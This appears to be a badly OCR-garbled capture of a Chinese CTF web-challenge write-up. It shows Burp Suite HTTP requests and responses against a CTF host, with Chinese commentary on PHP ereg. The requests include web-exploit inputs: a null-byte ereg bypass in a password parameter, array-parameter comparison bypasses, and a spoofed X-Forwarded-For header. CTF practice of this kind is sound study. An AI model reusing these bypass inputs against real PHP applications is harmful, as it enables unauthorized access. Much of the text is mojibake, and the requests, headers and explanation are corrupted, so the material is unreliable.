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GET /Jl0/uploads/stepl_ php HTTP/L1.1

Host: ctfb.shivanbar.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4d; rw:50.0)
|Gecko/20100101 Firefox/50.0

Accept:

text/htnl, application/xhtml+xml, application/xml ;g=0.9,%/% ;gq=0_8
Accept-Language: sh-CHN,sh;q=0.8,en-U3;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate

X-Forwarded-For: 8.8.8.8

Commection: close

Upgrade-Insecure-Requests: 1
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< fstylex
<fhead>

<body>
<form act,iEn="qu)mit,_php" me]hod="GET">
<> EL T EFiTa Y -

type="text"

email: <input] name="emaildddress"
value="" disable="trues"/><

token: <inpu type="text" S /hr>

“input type e ="0O0" =

</ form>
</body>
</html>
-
Get Flag : 729.A SEARL: T39A BESmE =R ¢« 00

iR

A HE&% Hphp it ereg R BIRIAMBHERARIE T, 1B, MiemAE, REFGE,

FERFEEAIG, RIEREBRH 4.

FNEeregEALHE, HJESEH A WipasswordfIE, HAR A 5 BUAR B H9e9*-*RALE /N T-83F H K T9999999,  [A] M #idfE H*-

Y, BERENALEeregT o

ereg A FE BRI, WA 2T 4F 8 A27E %00 O B4R (I AT, A2 AW T %R, a3 A17E9e ORI -Z 18 14> %00t AT

PLT, &EHMburpsuitihb®, mTFHE:



MEYuesL RESPUINse

_[ Raw T Params I Headers | Hex Jﬂaw T Headers | Hex | HTWL I Render ]

GET /web/more.pp?password=5e5%00%-* HTTP/Ll.1 A HTTP/Ll.1l Z00 OK
Host: ct.fs.shiyt.bar.com - Date: Wed, 21 Dec Z016 02:00:33 CGMT
Uzer-Agqent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rw:50.0) Server: Apache,/2.4.18 (Win3I) OpenfSSL/1.0.2e PHR/L.Z.17
Geclko/Z0100101 Firefox/50.0 ¥-Powered-Ey: PHP/E.Z. 17
Accept: Content-Length: 102
text/html, application/xhtml+txml, application/xml;gq=0_5_*/*;q=0.8 Connection: close
Accept-Language: zh-CHN,zh;q=0.8,en-T3;q=0.5,en;gq=0.3 Content-Type: text/html
Accept-Encoding: gzip, deflate
Referer: http://ctfb.shivanbar. con/web/more. php <htmls>
Cookie: sample-hash=571580LIEcEbi306376d4fE4e53chieT; source=1 <head>
¥-Forwarded-For: 8.8.8.8 <titlerOnce More</title>
Connection: cloze < /fhead>
Tpgrade-Insecure-Reguests: 1 1 <hody=<bhr />
<Center>
Flag: G
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GET /web/false.phpiname[sdidl=4spassword([=sdf]= HTTP 1.1l

Host: ctfh.shivanbar._ com

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv:-50.0)
Gecko/Z0100101 Firefox/50.0

Avcept:

text/html, application/xhtml+txml , application/xml;q=0_5,%/*;q=0.8
Accept-Lancuage: zh-CH,zh;gq=0.8,en-US3;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate

Peferer: http://ctfb.shivanbar. com/web/false. php

Cookie: sample-hash=571580LI26cE5f306376d4£fE4e53chbe7,; source=0;
DPHPSESSID=Ehflcecalolehadh f22455901d845813a

H-Forwarded-For: 8.5.8.8

Comnnection: close

Tpgrade-Insecure-Reguests: 1

m, H5edy, ¥

HTTP/1.1 Z00 OK

Date: Wed, Z1 Dec Z01l& 03:19:32 GMT

Server: Apache/2.4.18 (Win322) OpenBS5L/1.0.2e PHP/E.Z2.17
¥-Powered-By: PFHP/5.2.17

Content-Length: 104

Connection: close

Content-Type: text/html

<html=
<head>
“title>PHP Code Audit</tcitle>
=/heads=
<hody><br/>
<center4
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